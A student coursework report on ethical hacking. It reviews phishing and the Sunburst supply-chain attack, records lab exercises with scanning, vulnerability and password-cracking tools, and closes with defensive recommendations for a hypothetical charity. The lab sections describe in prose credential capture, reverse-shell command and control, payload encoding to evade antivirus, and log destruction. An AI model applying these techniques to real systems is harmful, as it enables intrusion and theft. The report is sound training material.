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This report is broken into three sections.  The first looking at two attacks, from the simplest Phish to the state backed Sunburst attack.  It then continues to a second section investigating the stages of Ethical hacking as defined by the EC-Council, by applying the five stages through a variety of labs, expanded in support material.  The third and final section looks at a hypothetical scenario for a non-government organisation, Lending Hands, exploring through the eyes of an ethical hacker their approach and mitigations.
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Cyber security is the implementation of relative protection for digital assets and the devices they run on, ensuring confidentiality, integrity and availability during all data states while ensuring the intended outcome of a user[1].  They are necessary in the face of cyber-attack, which seek to undermine these characteristics, for malicious reasons such as political or financial gain[2].  This report is broken into three sections.  The first, research, which explores current trends of both cyber-attack and security.  Secondly it documents the authors learning through the completion of module labs and finally combines both in a scenario section.

[bookmark: _Toc123832366]1. Research

[bookmark: _Toc123832367]1.1 Phishing

Of businesses polled in Cyber Security Breaches Survey 2022 those identifying an attack, found the most common threat vector was phishing, at 83%[3].  Phishing is where a malicious actor will attempt to lure a user into an unknowingly bad action.  For example, they could be redirected to what they believe is a legitimate website, which installs malware on their workstation, or provides authentication details both of which could give the malicious actor access to their network[4].
The term can cover a broad range of subtopics, such as smishing (SMS via mobile phones), but generally it is associated with email, and the campaigns are generic, akin to legitimate businesses spam.  Both rely on mass contact bringing low conversion rate, but conversion rate all the same.  In the case of legitimate business spam emails, these were estimated to generate 200 million dollars of revenue in 2012[5].
1.1.1 Spear

Like legitimate marketing campaigns, malicious actors build upon general advertising/Phishing with targeted campaigns.   These messages are crafted using information collected about staff/businesses from publicly available sources, being even more persuasive driving higher conversion rates.  An example of which can be seen in figure 1.  As stated by the former U.S. Secretary of the Department of Homeland Security Jeh Johnson
“The most devastating, intrusive attacks by the most sophisticated actors often originate with a simple act of spear phishing”[6]
With the key take away being that phishing, as simple as it is, is a key enabler to larger successful cyber-attacks with its ability to bypass sophisticated edge defences.  Some reports suggest they are involved with as much as 91% of attacks[7].
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1.1.2 FACC

Due to the hierarchal nature of businesses, compromising executive based individuals brings the biggest rewards, referred to as Whaling[9].  In the example of the FACC, 47 million dollars was lost as the result of a single email.  Where an attacker, after analysing the language of the companies’ CEO’s emails, tricked their finance lead into believing the attacker was the CEO, and at their request transferred the sum of money into a bank account under their control[10].
1.1.3 Mitigation
[image: ]
2 [11]
As summarised in figure 2 a multi layered set of defences are required to successfully deal with phishing.  At a high level these are[11]
· Make it hard for malicious actors to contact your users
· Leverage email/web filtering technologies to remove/block suspected issues.
· Be mindful of what data is published on public sites, such as board level contact details.
· Implemented anti-spoofing controls such as Domain-based Message Authentication, Reporting and Conformance (DMARC)[12], which uses a combination of technologies to confirm publicly published IP addresses of the email sender service, along with public key cryptology to confirm authenticity and guarantee trust.
· Help users identify and report
· Support users through training, both during business induction and regularly.  Ensure they understand the risk posed by falling foul to malicious actors but guarantee an open and supportive environment where they are not punished.
· Run training simulations, tailored to individual groups, or simulate spear fishing attacks[6] as although they have their place phishing campaigns may not be as appropriate as they could be.  Figure 3 shows an email client rule for the detection of said campaigns, moving them out of the inbox.
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· Combat undetected phishing attacks
· Follow best practice for endpoint protection, such as removing unnecessary software, keeping what is needed updated (both operating system (OS)[14] and applications), restricting the administrative group.
· Enforce web and internet filtering for all through proxy services and bespoke DNS services which prevent known threat actors.
· Modernise authentication and authorisation systems, backed by multi factor authentication (MFA), password managers and driving towards password less[15].
· Removed stale/unrequired accounts, and continual improve password policy to reflect recent thinking, such as advocating the dangers of password reuse between home and work.
· Respond quickly to breach
· Monitor the estate for any signs of incident.
· When incidents occur make sure response plans are actioned immediately.
· Practice the incident response plan with all parties. [11]
[bookmark: _Toc123832368]1.2 Supply chain

A recent trend supply chain attack, targets business which either support or directly deal with the intended target.  Take for example the NHS, who buy medical supplies from a company.  There is a degree of trust between the two, for example DMARC, however the company have less resources to spend on cyber defence than the NHS.  Therefore, if a cybercriminal can exploit the business, then they will have more opportunities to target the NHS.
1.2.1 Sunburst

A recent supply chain attack Sunburst, targeted SolarWinds who supply monitoring tools such as Orion to tens of thousands of businesses (a large attack surface), including US central government.  Exploiting a password leaked to the public facing code repository GitHub, the attackers implanted malicious code into the software’s update process.  As Orion customers updated their software, the malicious code was introduced into their networks.  As advised by SolarWinds, Orion’s install directory was excluded from Antivirus (AV) and End-Point Detection and Response (EDR) therefore weeks after the software was introduced, when it became active it was undetected.
This delay was important, as with many calculated actions of subterfuge it allowed the malware to spread further
· Creating legitimate public keys for digitally signing the malware
· Naming files appropriately not to arouse suspicion, including file types, as well as placing them uniquely in the file system
· Using a domain generation algorithm to build bespoke calls back to the command server (therefore stopping a single kill switch), named and hosted on appropriate public infrastructure
· Disabling and re enabling system logging when undertaking specific activities
· Following best practice by not using single set of credentials for all tasks
· Communicating over multiple protocols DNS/HTTP therefore mimicking typical SolarWinds communications[16], [17]
Although the attack is technically very impressive, the author fails to find conclusive evidence on the exact impact of the hack.  For example, X, amount of data leaked, Y, sum of money lost.  This could be due to the state sponsored nature of the attack being more of a cancer than something that is short and sharp, and therefore the attacker does not want it to be known what they gained.  Moreover, reflecting on the industry at large could the importance of the Cyber industry be inflated, with the direct cost to the company being estimated at 18 million dollars[18], but nothing concrete. Although the companies balance sheets describes a period for SolarWinds incorporate, it highlights a day-to-day debt of 1.8 billion, which puts into perspective the small direct cost[19].
FireEye’s discovery of the infection, and the ensuing response disrupted plans which is now left to our imagination it may have taken years to develop, before additional steps were taken, such as introducing ransomware at a politically sensitive moment, or waiting to leverage gathered information in the physical world as seen in the Crimean war with the destruction of 20% of Ukrainian artillery through Agent-X whose costs will remain untold[20].
1.2.2 Mitigation

To mitigate Supply Chain attacks The National Cyber Security Centre (NCSC) recommends 12 principles[21], divided into the following 4 sections 
1.2.2.1	Understand the risks[22]

Interactions with the business supply chain need to be understood, sensitivity of contracts and value of the information exchanged.  Although these will often be unique, legislative changes in America will emanate pressure on all to follow suit in the form of the Software Bill of Materials (SBOM).  Which will act like a contents list seen on food items, ensuring software creators list everything which goes into their products, including third party tools, components and services being apparent[23].
Understanding who your suppliers are, and ensuring they provide next hop information for any sub-contractors.  Accepting their cyber security maturity, where security maturity models can provide assurance[24].
With identified risks, understood and scored, mitigation can be decided upon for each.  A plan of action produce, which can be agreed by and implemented for the business.
1.2.2.2	Establish control[25]

Decisions can be taken from information to move away from suppliers which continual score poorly, or where single points of supplier failure are found diversification can occur.
Procurement exercises should be strengthened, so suppliers understand their obligations, including their sub-contractors.  Collectively as an industry the same should be expected of the contracts they generate, and this should be evidenced, driving trust.
All decisions should be proportionate to risk, on a case-by-case basis, it is important that these are communicated to all parties and recorded.
Ensure that your business follows its own rules and raise awareness of supply chain security by information sharing, setting goals and provide support when security incidents occur.


1.2.2.3	Check arrangements[26]

Ensure that supplier’s evidence what has been asked of them, such as patch compliance, penetration tests, external audits etc.  Building into contracts the “right to audit”, requesting the same is true for their subcontracts.  Measure against key performance indicators and act where failures occur.
1.2.2.4	Continuous improvement[27]

Foster a partnership with the supply chain, which is open and honest.  Building by in of the shared risk, work together to continual improve combating cybercrime.
[bookmark: _Toc123832369]2. Implement and analysis
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2.1.1 Footprinting

2.1.1.1 Ping
[image: ]
Figure 4 shows ping options in Windows 10.
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Ping functionality, figure 5 shows the -i switch, combined with a number, modifying the packets time to live (TTL).  Every time the packet passes over networking equipment, the device takes away from TTL.  The web server is eight pieces of networking equipment away.  Prior to that TTL number, the device fails to respond. 
[image: ]
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2.1.1.2 Sublist3r similar

Knockpy, figure 6, conducts subdomain scans using a “dictionary” of domains which can be customised by amending wordlist.txt file or using an external txt file via -w command.  
[image: ]
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It will save the results into a .py file, which can be opened in an inbuilt visualisation tool figure 7[28].
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2.1.1.3 Web extractor similar

Webscraper.io is a Software as a Service (SaaS) offering, for web data extraction.  Figure 8 shows the tool collecting links from the target, using the graphical user interface (GUI) it can scrape individual elements increasing compatibility with newer web technologies[29].
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2.1.1.4 email tracker similar

E-Mail Header Analyzer (MHA) is a Python based web server, converting email headers into human readable format[30].  Once setup, it can be visited via http://localhost:8080 allowing pasting of email headers, exposing their details figure 9.
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2.1.1.5 recon-ng

Figure 10 shows the use of Brute_hosts and resolve modules adding information such as location.
[image: ]
10
2.1.1.5.1 recon-ng apis

Some modules use third party tools to provide data, such as coordinates.  For authorization, and accountability, accounts are required to bind to a unique API Key for authentication.  This can be seen in figure 11.
[image: ]
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2.1.2 Scanning

2.1.2.1 TCP flags
[image: ][image: ]
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As shown in figure 12 the flags are:
· RST – Used within the packet when one end of the connection wants to abort.
· PUSH – Sender requesting data gets forwarded to the application immediately.  Also used by the sender to empty their buffer.
· URG – Flags that an amount of data within a packet is urgent.[31], [32]
· XMAS – Unexpected combination, of URG, PUSH and FIN.  Devices can reply in different ways due to manufactures not adhering to standards, giving insight on the receiving end[33].
· YMAS – Uses all flags, including ones currently reserved, figure 13, for future implementations such as Explicit Congestion Notification, to the same end as XMAS.

[image: ]
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2.1.2.2 hping3 pros/cons
[image: ]
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A powerful reconnaissance tool, figure 14, but like command line tools in general the wielding must be specific, otherwise failure is high, or unexpected results, resulting in mis interpretation or scan detection.  Other cons of this tool are it is not being maintained as seen in figure 15.  As well as the obvious downside of not being enhanced, it could become abandonware and susceptible to repo jacking[35].
[image: ]
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2.1.2.3 Reflection
[image: ]
MegaPing reinforces the ease of a GUI along with returning a greater information set.  A better tool for team Blue, but team Red would require Hping3’s spoof feature to remain undetected[36].
2.1.2.4 hping3 similar

Arp-scan seen in figure 16 allows scanning of the local subnet, via the layer 2 mechanism Arp.  Arp is the protocol used to associate IP addresses to MAC addresses.  If the hacker has gained access to a device, this type of scan will allow them to confirm what else is on the subnet, bypassing OS firewalls which operate at higher levels of the OSI model[37].
[image: ]
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2.1.2.5 ignored
[image: ]
Nmap is being ran with the -sX switch, meaning scan with FIN, PSH and URG, commonly called XMAS scan an illegal packet type in RFC 793 standard.  This standard says closed ports should reply to illegal packets with RST, and open ports discard, showing what is open or closed.  New stateful firewalls, block these packets, resulting in ignored responses.   Using -sS switch, figure 17, sends a SYN packet, initialising a three-way hand shake and a response of two open ports[38]–[41].
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2.1.2.7 global similar

The SaaS tool Spiceworks Device Inventory, figure 18, can be both network scan driven, and agent backed for further data[42].  Devices are linked to the cloud-based inventory via an API key.  Has the advantage of continual updates, although advertising driven to pay for the service, bringing data privacy into question.  The author also struggled to find encryption standards for the agent, although TLS 1.2 was discussed on public forums[43].
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2.1.2.8 net use
[image: ]
Net use introduced in Windows 2000 maps shared drives via command prompt, for example
net use k: \\servername\sharename /user:MyBigBusiness\User1
Mapping K to the share “sharename” on server “servername” using user “User1” in domain “MyBigBusiness”.  The tool would then prompt for a password.
Other OSs will have bespoke tools, for different file systems[44], [45].
2.1.2.9 metasploit
[image: ]
Metasploit is a single tool for penetration testing, with various modules figure 19
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Own by Rapid 7, although maintaining open-source nature of development, community developers add to the tool, with ownership giving reassurance against malicious code entry.  Figure 20 shows an XP exploit, giving remote access to command prompt, with extraction of passwords.txt.
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2.1.3 Vulnerability assessment

2.1.3.1 ping Off
[image: ]
Firewalls drop ICMP packets to mitigate reconnaissance[47].  By turning this option off, Nessus will scan the IP undeterred.
2.1.3.2 Unlimited
[image: ]
This option is changed to manage performance.  Fundamentally it adjusts the number of TCP sessions, opened between Nessus and endpoint.  Acceptable in a lab, in a production network this could mimic a Denial-Of-Service Attack consuming all bandwidth[48]–[50].
2.1.3.3 Nessus
[image: ]
Figure 21 shows a vulnerability for XP, SMB Null Session Authentication.  An attacker could authenticate remotely, using the service’s system account, not providing a username or password.  Providing system information, or file system access.  This exploit can show as a false positive.  Mitigation includes disabling anonymous authentication, via group policy, or registry modification.  However, OS upgrade is appropriate[51]–[53].
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Figure 22 shows the vulnerability MS15-097 against Windows 2012.   Allowing privilege escalation, where a logged in user crafts OpenType fonts, with the unexpected outcome of birthing administrative user amongst other things.  Patching change Windows Adobe Type Manager Library to handle these crafted fonts.  Alternatively rename ATMFD.DLL or disabling its use via the registry, breaking dependant applications[54].
[image: ]
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2.1.3.4 nikto
[image: ]
The author opted to run the scan with the following switches, figure 23
· “-Display V”, display all to terminal
· “-h www.certifiedhacker.com”, sets target web server
· “-output output2.html”, output name/location
· “-Fromat htm”, file format
· “-Tuning x”, dictates run all, additional are omitted[55]
[image: ]
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As seen in figure 23 the initial scan created an “error limit (20)”.  This is an adjustable number of acceptable failures.  Modifying nikto.conf adjusting FAILURES to 0, disables the feature figure 24.
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The scan was then repeated figure 25.
[image: ]
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The two major findings are a .zip containing site backup, allowing restoration to a competing webserver, where an attacker could redirect users to steal information.
This could be used in combination with the Cross Site Scripting (XSS) vulnerability listed in figure 26[56].
[image: ]
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Described by exploit-db figure 27
[image: ]
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Allows an attacker to remotely trigger their payload[57], such as forwarding email without knowledge, or mimicking reauthentication, to the restored site before handing back to the original thus stealing credentials[58].
The attack surface should be widened to other domains of the website creator, sidmad.com, figure 28, who may reutilise software like Ilohamail and bad habits.
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2.1.4 Social Engineering assessment

2.1.4.1 Netcraft
[image: ]
The tool offers good but limited protection to social engineering attacks (SEA) where after understanding a victim an attacker through insights gain provides a stimulus that encourages them to break from normal secure conventions[59].
As an example, the website created as part of the activity figure 29
[image: ]
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Is given a high-risk rating, based on age of the site.  However, a website which is not affiliated with Microsoft, claiming Windows 10 download, figure 30
[image: ]
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Or a known compromised website, figure 31, have little to no risk.[image: ]
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Which could give a standard user confidence in their use.  Although for sites which were created in near time for an attack figure 32 it provides that simple check.
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2.1.5 Hacking

2.1.5.1 exception
[image: ]
Http error 429 is sent by web server detecting to many requests from a client.  Here Google is blocking, other providers may limit[60].
The tool provides a method to avoiding such actions, using “-e” switch, a delay in seconds[61].
Another option is to proxy, routing traffic through intermediate addresses.  Usable with other tools, for pushing exploits from a Kali Linux device via a trusted server, which then forwards to the target.  To the target device it came from the trusted server, figure 33.
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2.1.5.2 hash
[image: ]
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After obtaining the hash file figure 34, Hashcat was used[63].  An unsuccessful brute force, figure 35, led to calling Rockyou password list.  Enabling recovery figure 36.
[image: ]
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2.1.5.3 HASH Types
[image: ]
The different hash types are different hashing algorithms.  Hashing algorithms are mathematical processes applied to files, to generate a fixed length number, called a hash which leverages the files content in its creation.  This hash is a one-way conversion, which changes if anything about the file is changed, thus protecting the file from modification.  Hashes are used for various purposes, such as encrypting data at rest, or during transit of data[64].  Different types have advantages and disadvantages, such as being quicker when working with certain file types, or more secure with the trade-off of speed.  Over time, hashes become redundant vs modern cracking processes, so new ones are created[65].
2.1.5.4 Tool output
[image: ]
After turning off AV real-time scanning, which classified the hacking tool and deleted it.  The output of the hash is seen in figure 37.
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2.1.5.5 password cracking
[image: ]
Winrtgen creates databases of hashes, which rainbow crack can cross reference for those recovered by Pwdump.  Less processor intensive making it quicker than brute forcing, which generates a hash for each guess, comparing the two.  It does, however, have the disadvantage of databases potentially consuming terabytes of storage [66].
2.1.5.5 payload differences
[image: ]
The difference between the two payloads, is the second payload, has been created with the encoder Shikata Ga Nai (SGN), with a bad character removed.  Encoding, is where the shell data is converted to another format, in our example the .exe.  This allows it to be executed on the target computer.  During encoding, shell data can be represented as characters like x00 which can be interpreted as exit codes, terminating exploits.  SGN encoder uses several steps when encoding, such as key change, obfuscating the decoder, changing the signature of each output making detection difficult.  Newer artificial intelligent intrusion prevention systems show promise in detecting the variants repeating patterns in the encoded data[67]–[69].
2.1.5.5 pwdump
[image: ]
As seen in figure 39 Pwdump would not run, without the Dynamic Link Library (DLL) file libeay32.  A DLL is a container of code, which other executables can re-use[70].  This DLL contains code for Open Secure Socket Layer Shared Library[71].  Of note, this specific tool was maliciously signed using an Adobe certificate to evade detection while in use in 2012[72].
Figure 38 shows the tool running correctly via the symbolic link, backdoor_pw7.exe[73].
[image: ]
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2.2.1 Footprinting

Sam Spade is a simple GUI, containing various Footprinting actions, such as Nslookup, blacklist checks etc.  Not maintained since 2003 it is difficult to recommend, however its simple layout allows quick information gathering, especially the built-in raw html viewer, figure 40[74].
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2.2.2 Scanning

Used during hack the box activity, SolarWinds MAC Address Discovery[75] is a scanning alternative.  After using Wireshark, figure 41, a correctly configured network card was used by the tool to quickly sweep the network segment, using Address Resolution Protocol at layer 2, to present the table of information figure 42.
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2.2.3 Vulnerability

Nmap, the networking scanning tool, has the feature of scripts[76].  This allows community written code to push Nmap beyond initial design.  Vuln runs vulnerability detection as seen in figure 43. Not as comprehensive as others, it does offer a seamless check and cross reference.

[image: ]
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2.2.4 Social Engineering

A tool which can be used as part of a SEA, is Metasploit’s SMB server capture.  Using other collected data, a user can be tricked into traversing a fake SMB server providing login credentials figure 44.  With high password reuse [77] an attacker could enter other systems.
[image: ]
44
2.2.5 Hacking

Netcat/Ncat[78] are used to demonstrate a command and control (C2)[79] implementation, figure 45.  The Windows 10 client is made to execute a reverse PowerShell to the attacker’s machine, from where they execute calc.exe.
[image: ]
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[bookmark: _Toc123832372]3. Scenario

Following a hacking methodology, ensures reliable outcomes true of all research[80].  There are a number such as SANS[81] or OSSTMM[82], but the following uses EC-Council methodology figure 46.
[image: ]
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[bookmark: _Toc123832373]3.1 Planning and Reconnaissance

Regarded as the preparation stage, claimed as the biggest part of a successful hack[84].  Information is discovered about a target, building a blueprint of potential attack vectors.
Broadly reconnaissance is broken into two parts, passive and active. Passive uses tools which are invisible to the target not alerting them of threat.  Passive reconnaissance involves publicly available records, such as domain name registration details or public accounts such as the charities register[85].  These are catalogued and used where appropriate.  For example, dumpster diving, where sensitive data is recovered from trash, incorrectly discarded, is informed by social media published away day dates.
Active is where an attacker begins to interact directly with the businesses systems, with increasing odds of detection, but increasing rewards. Comparable to the physical world, if passive, discovered a window, active would be checking if it was locked.  Through activities such as probing publicly facing services such as web servers, DNS records etc the attacker better understand the makeup of an organisation taking into consideration what was gained passively[86], [87].
[bookmark: _Toc123832374]3.2 Scanning

Although over lapping with reconnaissance, scanning continues data collection looking for live systems, open ports, OS details etc, figure 47.  The scanning phase moves onto vulnerability detection, which if successful will allow an attacker to map vulnerable hosts.
[image: ]
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Is the part of an attack, where action is taken on the information gathered, to reach the planned outcome.  Wifiphiser[88] could be appropriate to block Wi-fi access points and broadcast the same SSID in its place appearing to be in maintenance and requesting re authentication.  Another vector could be the external website suffering from log4j[89], allowing remote code execution and credential harvesting.  Perhaps the plan is to launch a denial-of-service attack, in which case that would be executed.  In this scenario the ethical hacker believes an O.MG cable drop, with a C2 payload would be effective[90].
Once within the network, gaining administrative control over the compromised endpoint allows installation of other tools.
[bookmark: _Toc123832376]3.4 Maintaining Access

Is about continually access without user input.  In the C2 example 2.2.5, once the device reports in the reverse shell would be used to copy the exploit locally and execute on boot[91].  Tools would be used to obscure these activities, ensuing traffic is encrypted, exe’s are named to appear legitimate, common ports used, or chained between devices, with the Command server on legitimate compromised public infrastructure (Korea NICE[92]) etc disgusting the nefarious activities as discussed by Akbanov et al while analysing WannaCry[93].
With access maintained, attackers continue to scan as appropriate, looking for other hosts to exploit or proceed to escalating privileges deploying other software such as rootkits or looking for hashes/credentials through poisoning[94].  In the case of HSE Conti attack, a period of about two months passed between initial infection domain admin controls figure 48.
[image: ]
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The most important for a hacker, as discovery can lead to prosecution, or loss of their trade secrets/exploits.  Tools are commonly used to destroy log files at every stage, and once access is gained over machine, logging systems disabled/corrupted to stop recording activities.


[bookmark: _Toc123832378]3.6 Analysis

The analysis for Lending Hands scenario is some information cannot be hidden.  Such as the date of company registration, of 2019, it would give a clue to any hacker, of the type of OS they were dealing with[96].  However, the goal of the company would be to build an understanding culture, top to bottom, of the issues and instil in the workforce appropriate action to limit data leakage, through the creation of policy and procedure which had by in.  This would include but not be limited to
· Engagement and training (See section 1.1.3 making training mandatory, and leveraging bespoke phishing simulators[97])
· Identity and access management (IAM) (Enforcement of non-SIM based Two factor authentication[98])
· Supply chain security (See section 1.2.2)[99]
· Configuration and Architecture
· Vulnerability management
· Logging and monitoring
· Incident management
· Asset management
· Risk management
· Data security

3.6.1 Shared building

Attention should be given to the Cybersecurity breach/threat, with a review conducted as per the Incident management plan.  The output of which would create a mitigation plan, which would need to be risk managed[100].  Assuming that the breach, was the removal of printed material from a Lending Hands only printer this should include a review of the hired Property Manager, and their role in the breach, along with all businesses.  This should feed into strengthening the steps in 3.6, including that there was no breach of personal data which requires reporting to the Information Commissions Office[101].  Mitigations may include creating a business case to management on the need for an integrated printing management system, which leverages a universal smart card, providing door access along with identity management[102] and other options like biometric/password less offerings such as Windows Hello for Business[103].  As well as reviewing existing security such as physical camera’s, 802.1x[104], asset trackers[105], zero trust[106] etc.
3.6.2 AppLocker

It would be practical to implement a whitelisting tool such as AppLocker within Lending Hands a company of fifty in size.  This builds a database of executable paths, and other attributes such as their hashes which different groups can run.  Unless an executable matches an entry, it will be blocked[107].  Bypassing is possible, although regedit, PowerShell and command could be blocked for users[108].
3.6.2 Intrusion Detection (IDS) / Protection systems (IPS)

Edge-based networking devices, or found in next generation firewalls, inspect traffic for anomalies then flagged/dropped.  Achieved in several ways, such as comparing traffic against known exploit signatures or having been ran within an organisation baselining “normal”[109].  Much of IDS/IPS work is false positives, which can make them unwieldy.  However, server infrastructure should be partitioned away from standard VLANs, and traffic passed over such devices in a zero-trust model.  Lending Hands could outsource these tools to a third-party Security Operations Centre provider providing this and Security Information and Event Management[110]– [112]. 

3.6.2 Privilege access management (PAM)

It is the authors opinion that Lending Hands should implemented PAM as part of IAM, which are specific strategies to control elevated accounts, such as reducing administrative accounts, separation of duties etc.  The main outcome being administrative accounts, have least privilege to complete their objective instead of carte blanche.  Reducing the attack surface, mitigating both internal/external attack.  Tools can also audit and record what accounts undertake, with Privileged session management, figure 49, on premises and within the Cloud/DevOps environment[113].
[image: ]
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[bookmark: _Toc123832379]5. Conclusion and Evaluation

As shown in figure 49, Corporate IT have a lot to consider from Workstations to Cloud, ensuring they operate as their business requires.  This includes lifecycle management of such products, adhering to sometimes mandatory processes like ITIL, while maintaining patching levels, system upgrades, or continually sharpening skills within the industry, recruitment etc.  An attacker only needs to exploit one weakness on a network, using highly automated tools either home written/shared by others, or industry borrowed for the purpose of stopping an attacker, directly or through the supply chain to achieve sometimes untold damage.  As described a defence requires all members of a business’s ecosystem, from third party suppliers to end users to be effective, with no one solution curing all, a multi layered approached to cyber defence is a must.  Moreover, these themselves must be continually monitored and acted upon otherwise they will be ineffective as highlighted by the HSE Conti attack where lateral movement activities from a Phishing malicious Excel payload were eventually detected but not acted upon.  With the cyber and physical, impact to patients, leading to hundreds of millions worth of damage even with the decryption key being provided by the hacking group.
[bookmark: _Toc123832380]5.1 Future work

Understand the role of deception systems within the security puzzle.  With an ever-growing list of potential targets, I believe such systems could be highly effective in making an adversary fail fast within a network, turning the tables on them with social engineering, as they conclude, I should go elsewhere[114].
Build upon what has been learnt in this module, with capture the flag events, or other simulated training models.
Follow up on ChatGPT, and what AI technology is bringing into script creation.
Read further into Dark Utilities, the C2-aaS offering, discussed by Cisco Talos[115].
Revisit the CEH certification, and other such offerings.
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What is the outcome of the above two ping commands ?  What is the reason.

One fails because the -f means the packet cannot be fragmented and -l sets the size of the packet, which exceeds the size of a single packet with the default of 1500 maximum transmission unit.  From this 20 is reserved for ip information, and 8 for icmp (ping) leaving room for 1472 byes.

By setting the TTL to 1, 2, 4 etc what piece of information did you gather.
The amount of physical ip infrastructure between your host and the endpoint being traced.


Do research on the internet to find out what other options, can be used with the ping command and what their functions are with suitable examples ?

By issuing the above steps, you may get the records of domain from an authoritative server.  What is so important in getting the information like this ?
The nslookup type commands are changing the information being requested
A= : specifics a computers up address
Cname= : specifies a canonical name for an alias
Query=ns : specifies a dns sname server for the named zone
This allows an attacker for example to build up the information held on the endpoint they are exploring.  For example that the company use GoDaddy to deliver name space server.  This could be used to build a database for if/when known exploits become available to target this company.  It may also leak origin IP addresses, which can be the servers IP or lead to allowing amplification attacks to be arranged (turning DNS server against a legitimate server), or query bind versions to learn about the operating system type.


Issues installing, sky block

[image: ]

Knockypy is another sub domain lister
[image: ]
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Knockpy once successfully completed a subdomain scan from it’s “dictionary” of domains, will save the results into a .py file, which can re recalled, or even opened in an inbuilt visualisation tool.

[image: ]

What information did you gather ?  Did you get the below result ?  If so, why ?  If not, what would be the reason for an outcome like the below one ?
The error message, as suggested, timeout or parsing expired, means that a traffic transfer limit has been reached and therefore cancelled the request.  Due to the subsequent success, and the noted difference in “processing time” between the first and second screenshots of 14 seconds, the author suspects the web server is under load.
[image: ]
What information did you gather ?
Various information was harvested by the tool from the web page address and sub sites, such as phone numbers and email addresses.  The tool highlighted URLs which may not have been intended to be public such as http://certifiedhacker.com/docs content of which might be of instant interest to bad actors.
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Webscraper.io looking at collecting links, customizable for twitter etc, newer web technologies over the other tool.  SaaS offerings.

[image: ]
[image: ]

[image: ]
Kali permission changes
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GitHub - cyberdefenders/email-header-analyzer: E-Mail Header Analyzer
Search internet for TCPView Software.  List out the websites which offer a download.  Which website/link do you think is safe to download the software from ?  Why
The top results on “google” are “Ad” sponsored links, these are links which are monetized and although there would be a process to pay google, this does not verify the users intentions.  Outside of the “Ad” links, the top link is learn.Microsoft.com domain, with https protection.  This would be the link of choice to download the tool, owned by Microsoft, backed by their security. 

[image: ]
The other domains *softonic.com, *.softpedia.com, filehippo.com, *.cnet.com are likely valid but have a much higher chance of compromise or containing trojan software they are unnecessary to use.
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How many endpoints are listed ?
55
How many are listening ?
25
How many endpoints are established ?
2
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With edge running and browsing to cisco.com
Colours - TCPView for Windows - Sysinternals | Microsoft Learn
What happens after closing the browsers
[image: ]
Overtime the endpoints do close, but not to original levels.
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Returns to original level of 55
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Had to re-run the command several times to get what the task was looking for
What information did you gather ?
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Do research on the internet and find out other modules to find out more hosts.
Would be able to sign up for APIs, and use recon/locations-locations/geocode
Or could use the framework to go 
[image: ]
The above did not work
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Able to get location information
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[bookmark: _Toc123832385]Scanning
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What is the other method to send an ICMP packet ?
Traceroute, which will display the physical route between two network connected devices.
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UDP 600
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Observe the TCP packets in the target using wireshark.  Could you locate the TCP packets ?  Yes, by using a filter, the 6 packets could be retrieved from the logs.
[image: ]
Observe the TCP packets in the target using wireshark.  Could you loate the TCP packets ?
Wireshark was filled with packet information.  No filter was required.  Also noted the different colours, which meant acknowledgement and other packets were dropped or bad.[116]
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Based on your usage of this tool, and earlier tools within your lab network, what are the additional details you gathered after using this tool ?
I was able to find exploits, and confirm windows or linux operating system details which evaded me previously, although there is vagueness with no difference between Server or Client for example.
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Open|filtered tcp ports (no-reponse) is with the firewall on
1000 closed tcp ports (reset) is with the firewall off[117]
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The MAC address is different, if I enable the firewall on server 2016, can see a different behaviour, although different error to the lab.  This is because the firewall recognises the zombie packet.

[image: ]

Perform ping sweep scan on target network.
[image: ]
Was able to detect devices which were firewalled off.  Very quick.
Which link did you use to download the tool ? Why ?
Top google link, algorithm backed, with domain name of the tool with valid https certificate.
What is the purpose of this tool ?
To connect your device to a proxy server, which you then use to access the internet.  This will mask your IP address, and change where your traffic is appearing from.

[image: ]

What is your IP Address ?
151.224.*.*
Gwyddgrug Wales
Which tool did you use to find the above information ?
The website whatismyipaddress.com and also my router
6). Use tools, that you have used so far during information-gathering phase to further analyse.  What did you get ?  Did you manage to identify your proxy server or type ?
Proxy type is DCH
[image: ]
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Based on your usage of this tool, and the analysis done, write your understanding on using proxy tools like this.  Referring to the above screenshot, what is the proxy type DHC ?
DHC proxy server get their IP addresses from servers within data centers.  This makes them easier to block, but gives better performance, vs say residential proxies which use IP addresses from public “user” pools.

PART 6
What is TCP window size ?
An advertisement in bytes, of how much data the receiving device is willing to receive at any given time.
List out the values below
Passive OS Fingerprinting (netresec.com)
[image: ]

From the above output, could you determine what is the Operating System running in 10.10.10.11 host machine ?
Based on the ttl value, it would be a linux distro, running on VMWare hypervisor.
What details did you gather ?
[image: ]
What assumptions could be made with the gathered information ?
Virtual to virtual machine communication on vmware, with one host being windows and the other being linux.  Based on the IP range 10.0.0.0 this would be a private network.

Part 7 map your network
a) No I would not like to participate
b) Why did you select the state option ?
I do not want any data to go to a third party, without packet inspection how do I know exactly what would go with.  Companies like Solarwinds are big targets for supply chain hacks as shown by unc2452.
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Oddly the product returned less information on itself than other devices


[image: ]
[bookmark: _Toc123832386]Vulnerability Assessment

What is the purpose of this tool ?
Is a remote scanning tool, which interprets the security posture of endpoints, reporting back discovered vulnerabilities which could be leveraged to gain unauthorised access to a network.
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Prior to fw off
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XP
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[bookmark: _Toc123832387]Social Engineering
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Activity 2 : Choose your scam and discuss
Home repair con : A contractor comes to your home claiming that they are doing free inspections and estimates for home repairs.  They will find something alarming wrong and offer to fix it for a reasonable price, and the homeowner agrees because they are worried about their home.  The “contractor”  takes a deposit, and never comes back.

What is the scam you / our team is looking at ?
Reciprocity, authority, liking, scarcity, social proof, commitment

How does this scam work ?
It takes advantage of the perception that the individual is an expert.  However, it bleeds into other areas of Cialdini principles of persuasions.  Liking, scarcity, social proof, commitment.

What is the weak point here ?
Someone would simply not let them in.  There would be some kind of challenge.  Another issue is they could have cover elsewhere.
(Got answered from the perspective of the human being the weak point)

Is this scam possible nowadays ?
Yes, it is repeated by phone calling etc, we are calling from Microsoft, you have a problem with your computer.

What changes could be made to implement this scam successfully ?
Certain times of the year will be better.

[bookmark: _Toc123832388]Hacking
What is your understanding about Metagoofil Tool ?
Metagoofil is a scraping tool, which targets files on public sites.

What is the purpose of the tool ?
It automates the process of finding publicly available information, for reconnaissance.  Much of which could be exposed and downloaded by the tool.

What is LLMNR/NBT-NS ?
Link-local multicast name resolution and NetBIOS Name Services are protocol used for name resolution on the local link when DNS fails.  Part of these system are broadcast based, which can be exploited.
By Spoofing LLMNR/NBT-NS what happens ?
A bad actor replies to the broadcast, harvesting credentials. These protocols should be disabled through GPO and scripts.
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Which command would you use to confirm this ?
Both the getuid and -I commands will indicate what level of permission the payload has run under, likewise with SYSTEM exploits.  Hashdump could give more information, like an Operation Failed indicating non privilege.
